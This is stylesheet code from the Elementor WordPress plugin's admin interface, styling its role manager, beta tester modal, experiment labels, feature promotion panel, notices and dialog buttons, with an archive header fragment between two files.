.elementor-form-field__select__wrapper{position:relative}#elementor-new-floating-elements__form .elementor-form-field__select__wrapper:after,#elementor-new-template__form .elementor-form-field__select__wrapper:after{font-family:eicons;content:"\e8ad";position:absolute;inset-block-start:50%;inset-inline-end:10px;transform:translateY(-50%)}#elementor-new-floating-elements__form__lock_button,#elementor-new-floating-elements__form__submit,#elementor-new-template__form__lock_button,#elementor-new-template__form__submit{display:block;width:100%;height:50px;margin-block-start:24px;box-sizing:border-box;text-align:center}@media (max-width:1024px){#elementor-new-template__description{max-width:250px;padding-inline-end:30px}}@media (max-width:767px){#elementor-new-template__description{display:none}}#elementor-role-manager{max-width:500px;margin-block-start:50px}#elementor-role-manager h3{color:#3f444b;font-weight:400;font-size:22px}#elementor-role-manager .elementor-settings-form-page{padding:0}#elementor-role-manager .elementor-role-row{background:#fff;color:#3f444b;margin-block-end:2px}#elementor-role-manager .elementor-role-row .elementor-role-label{display:flex;padding:15px 20px;font-weight:500;cursor:pointer}#elementor-role-manager .elementor-role-row .elementor-role-label span.elementor-role-name{padding-inline-end:20px}#elementor-role-manager .elementor-role-row .elementor-role-label span.elementor-role-toggle{text-align:end;flex-grow:1}#elementor-role-manager .elementor-role-row .elementor-role-label span.elementor-role-excluded-indicator{color:#9da5ae}#elementor-role-manager .elementor-role-row .elementor-role-controls{background-color:#f9fafa;padding:20px 20px 5px}#elementor-role-manager .elementor-role-row .elementor-role-controls>div{margin-block-end:15px}#elementor-role-manager .elementor-role-row .elementor-role-controls .elementor-role-go-pro{display:flex;align-items:center}#elementor-role-manager .elementor-role-row .elementor-role-controls .elementor-role-go-pro .elementor-role-go-pro__desc{font-weight:500;font-style:italic;flex-grow:1}#elementor-role-manager .elementor-role-row .elementor-role-controls .elementor-role-go-pro .elementor-role-go-pro__link{display:flex}#elementor-role-manager .elementor-role-row .elementor-role-controls-advanced>div+div{margin-block-start:15px}#elementor-role-manager .elementor-role-control-warning{color:var(--e-a-color-danger)}#elementor-beta-tester-modal{color:var(--e-a-color-txt)}#elementor-beta-tester-modal .elementor-templates-modal__header__items-area{color:var(--e-a-color-txt);cursor:pointer}#elementor-beta-tester-modal .elementor-templates-modal__header__items-area:hover .elementor-beta-tester-do-not-show-again,#elementor-beta-tester-modal .elementor-templates-modal__header__items-area:hover .elementor-templates-modal__header__item>i{color:var(--e-a-color-txt-hover)}#elementor-beta-tester-modal .elementor-templates-modal__header__items-area .elementor-templates-modal__header__close{border:none}#elementor-beta-tester-modal .elementor-templates-modal__header__items-area .elementor-beta-tester-do-not-show-again{text-transform:uppercase;font-weight:700;font-size:12px;transition:var(--e-a-transition-hover)}#elementor-beta-tester-modal .dialog-lightbox-widget-content{max-width:500px;height:auto}#elementor-beta-tester-modal .dialog-lightbox-message{padding:40px;height:300px;background-color:var(--e-a-bg-default)}#elementor-beta-tester-form__caption{font-weight:700;font-size:20px}#elementor-beta-tester-form__description{font-size:15px;margin-block-start:10px}#elementor-beta-tester-form__input-wrapper{display:flex;margin-block-start:30px}#elementor-beta-tester-form__input-wrapper .elementor-button{border-start-start-radius:0;border-start-end-radius:3px;border-end-start-radius:0;border-end-end-radius:3px}#elementor-beta-tester-form__email{flex-grow:1;border:var(--e-a-border);border-inline-end:0;border-start-start-radius:3px;border-start-end-radius:0;border-end-start-radius:3px;border-end-end-radius:0;margin:0;padding:10px;height:50px}#elementor-beta-tester-form__terms{margin-block-start:40px;font-size:11px;color:var(--e-a-color-txt-muted)}.e-experiment__title{display:flex;align-items:flex-start;flex-direction:column}.e-experiment__title__indicator{position:absolute;height:10px;width:10px;border-radius:50%;border:2px solid #fff;box-shadow:0 2px 4px rgba(0,0,0,.1);flex-shrink:0;margin-block-start:2px}.e-experiment__title__indicator--active{background:#39b54a}.e-experiment__title__label{margin-inline-start:24px}.e-experiment__title__tag{background:#0085ba;color:#fff;font-size:.8em;padding:3px 6px;line-height:1;border-radius:3px;font-weight:600;margin-block-start:5px;margin-inline-start:24px}.e-experiment__title__tag__secondary{background:rgba(0,0,0,.1);color:inherit}.e-experiment__table-title{margin:30px 0}.e-experiment__dependency,.e-experiment__status{margin-block-start:4px;font-size:.9em;line-height:18px;font-weight:700;font-style:italic}.e-experiment__button.button{margin-block:18px 22px;margin-inline:0 14px}.e-experiment__dependency{color:#21759b}.e-experiment__dependency__title{font-weight:inherit}.e-landing-pages-empty .elementor-blank_state{padding:5em 0 2em}.e-landing-pages-empty .e-trashed-items{text-align:center}.e-feature-promotion{--e-a-top-bar-height:50px;--e-a-content-area-spacing:110px;--e-black:#000;width:1220px;height:calc(100vh - var(--e-a-top-bar-height) - var(--e-a-content-area-spacing));display:grid;grid-template-columns:repeat(2,auto);grid-template-rows:auto;justify-content:space-between;align-items:center;align-content:center;margin:auto;transform:translate(-10px,40px);text-align:center;font-family:var(--e-a-font-family)}.e-feature-promotion_data{grid-column:1/2;grid-row:1/2;display:flex;flex-direction:column;justify-content:center;align-items:self-start;margin-inline-start:15px;padding-inline-end:40px;max-width:608px}.e-feature-promotion_data h3{margin:0;margin-block-end:33px;text-align:start;font-size:1.85rem;font-weight:300;color:var(--e-black);line-height:1.2}.e-feature-promotion_data ul{margin-block-start:0;margin-block-end:1.6rem;text-align:start}.e-feature-promotion_data ul>li{margin-block-start:0;margin-inline-end:9px;margin-block-end:8px;margin-inline-start:8px;display:flex;font-size:1rem;line-height:21px;color:var(--e-black)}.e-feature-promotion_data ul>li:before{content:url("data:image/svg+xml;charset=utf-8,%3Csvg width='25' height='24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M21.52 6.47a.75.75 0 010 1.06l-10 10a.75.75 0 01-1.06 0l-5-5a.75.75 0 111.06-1.06l4.47 4.47 9.47-9.47a.75.75 0 011.06 0z' fill='%230C0D0E'/%3E%3C/svg%3E");font-size:1.4rem;margin-block-start:-3px;margin-inline-end:9px;margin-block-end:0;margin-inline-start:-9px}.e-feature-promotion_data>.go-pro{display:flex;align-items:center;padding:9px 15px;font-size:.9rem}.e-feature-promotion_data>.side-note{justify-self:baseline;margin-block-start:2rem;text-align:start}.e-feature-promotion_iframe{grid-column:2/3;grid-row:1/2;aspect-ratio:16/9;width:608px;border:none}body.rtl .e-feature-promotion{transform:translateX(10px)}@media (max-width:1410px){.e-feature-promotion{display:flex;flex-direction:column;justify-content:flex-start;width:90%}.e-feature-promotion_data{margin-block-end:2rem;margin-inline-start:unset;padding-inline-end:unset}.e-feature-promotion_iframe{max-width:90%;aspect-ratio:16/9}}.elementor-control-notice{display:flex;justify-content:flex-start;align-items:flex-start;gap:8px;padding:16px;border-radius:3px;border:1px solid var(--notice-control-color,var(--e-a-color-txt));color:var(--e-a-color-txt);font-size:12px;font-weight:400;line-height:1.5;text-align:start;margin-block-start:10px}.elementor-control-notice-type-info{--notice-control-color:var(--e-a-color-info)}.elementor-control-notice-type-success{--notice-control-color:var(--e-a-color-success)}.elementor-control-notice-type-warning{--notice-control-color:var(--e-a-color-warning)}.elementor-control-notice-type-danger{--notice-control-color:var(--e-a-color-danger)}.elementor-control-notice-icon{flex-basis:18px;color:var(--notice-control-color)}.elementor-control-notice-main{display:flex;flex-direction:column;justify-content:flex-start;align-items:flex-start;gap:6px;flex:1}.elementor-control-notice-main-heading{font-weight:700;font-style:italic}.elementor-control-notice-main-content{font-style:italic;line-height:1.5}.elementor-control-notice-main-actions{display:flex;gap:10px;padding-block-start:8px}.elementor-control-notice-main a{color:inherit;font-weight:700;cursor:pointer}.elementor-control-notice-main a:focus,.elementor-control-notice-main a:hover{color:inherit}.elementor-control-notice-dismiss{-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:transparent;border:0;padding:0;margin:0;cursor:pointer}assets/css/admin.css000064400000455263147206604650010471 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-button, .e-btn, #elementor-deactivate-feedback-modal .dialog-skip, #elementor-deactivate-feedback-modal .dialog-submit { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .elementor-button:hover, .e-btn:hover, #elementor-deactivate-feedback-modal .dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-submit:hover { border: none; } .elementor-button:hover, .elementor-button:focus, .e-btn:hover, #elementor-deactivate-feedback-modal .dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-submit:hover, .e-btn:focus, #elementor-deactivate-feedback-modal .dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-submit:focus { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } .elementor-button:active, .e-btn:active, #elementor-deactivate-feedback-modal .dialog-skip:active, #elementor-deactivate-feedback-modal .dialog-submit:active { background-color: var(--e-a-btn-bg-active); } .elementor-button:not([disabled]), .e-btn:not([disabled]), #elementor-deactivate-feedback-modal .dialog-skip:not([disabled]), #elementor-deactivate-feedback-modal .dialog-submit:not([disabled]) { cursor: pointer; } .elementor-button:disabled, .e-btn:disabled, #elementor-deactivate-feedback-modal .dialog-skip:disabled, #elementor-deactivate-feedback-modal .dialog-submit:disabled { background-color: var(--e-a-btn-bg-disabled); color: var(--e-a-btn-color-disabled); } .elementor-button:not(.elementor-button-state) .elementor-state-icon, .e-btn:not(.elementor-button-state) .elementor-state-icon, #elementor-deactivate-feedback-modal .dialog-skip:not(.elementor-button-state) .elementor-state-icon, #elementor-deactivate-feedback-modal .dialog-submit:not(.elementor-button-state) .elementor-state-icon { display: none; } .elementor-button.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel, .e-btn.e-btn-txt, #elementor-deactivate-feedback-modal .dialog-skip, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit { background: transparent; color: var(--e-a-color-txt); } .elementor-button.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover, .elementor-button.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus, .e-btn.e-btn-txt:hover, #elementor-deactivate-feedback-modal .dialog-skip:hover, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .e-btn.e-btn-txt:focus, #elementor-deactivate-feedback-modal .dialog-skip:focus, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .elementor-button.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled, .e-btn.e-btn-txt:disabled, #elementor-deactivate-feedback-modal .dialog-skip:disabled, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:disabled, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:disabled, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:disabled, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:disabled, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:disabled { background: transparent; color: var(--e-a-color-txt-disabled); } .elementor-button.e-btn-txt-border, .e-btn.e-btn-txt-border, #elementor-deactivate-feedback-modal .e-btn-txt-border.dialog-skip, #elementor-deactivate-feedback-modal .e-btn-txt-border.dialog-submit { border: 1px solid var(--e-a-color-txt-muted); } .elementor-button.elementor-button-success, .elementor-button.e-success, .e-btn.elementor-button-success, #elementor-deactivate-feedback-modal .elementor-button-success.dialog-skip, #elementor-deactivate-feedback-modal .elementor-button-success.dialog-submit, .e-btn.e-success, #elementor-deactivate-feedback-modal .e-success.dialog-skip, #elementor-deactivate-feedback-modal .e-success.dialog-submit { background-color: var(--e-a-btn-bg-success); } .elementor-button.elementor-button-success:hover, .elementor-button.elementor-button-success:focus, .elementor-button.e-success:hover, .elementor-button.e-success:focus, .e-btn.elementor-button-success:hover, #elementor-deactivate-feedback-modal .elementor-button-success.dialog-skip:hover, #elementor-deactivate-feedback-modal .elementor-button-success.dialog-submit:hover, .e-btn.elementor-button-success:focus, #elementor-deactivate-feedback-modal .elementor-button-success.dialog-skip:focus, #elementor-deactivate-feedback-modal .elementor-button-success.dialog-submit:focus, .e-btn.e-success:hover, #elementor-deactivate-feedback-modal .e-success.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-success.dialog-submit:hover, .e-btn.e-success:focus, #elementor-deactivate-feedback-modal .e-success.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-success.dialog-submit:focus { background-color: var(--e-a-btn-bg-success-hover); } .elementor-button.e-primary, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok, .e-btn.e-primary, #elementor-deactivate-feedback-modal .e-primary.dialog-skip, #elementor-deactivate-feedback-modal .dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .elementor-button.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover, .elementor-button.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus, .e-btn.e-primary:hover, #elementor-deactivate-feedback-modal .e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .e-btn.e-primary:focus, #elementor-deactivate-feedback-modal .e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .elementor-button.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel, .e-btn.e-primary.e-btn-txt, #elementor-deactivate-feedback-modal .e-primary.dialog-skip, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit, #elementor-deactivate-feedback-modal .dialog-submit.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel { background: transparent; color: var(--e-a-color-primary-bold); } .elementor-button.e-primary.e-btn-txt:hover, #elementor-deactivate-feedback-modal .elementor-button.e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .elementor-button.e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .elementor-button.dialog-submit.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover, .elementor-button.e-primary.e-btn-txt:focus, #elementor-deactivate-feedback-modal .elementor-button.e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .elementor-button.e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .elementor-button.dialog-submit.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus, 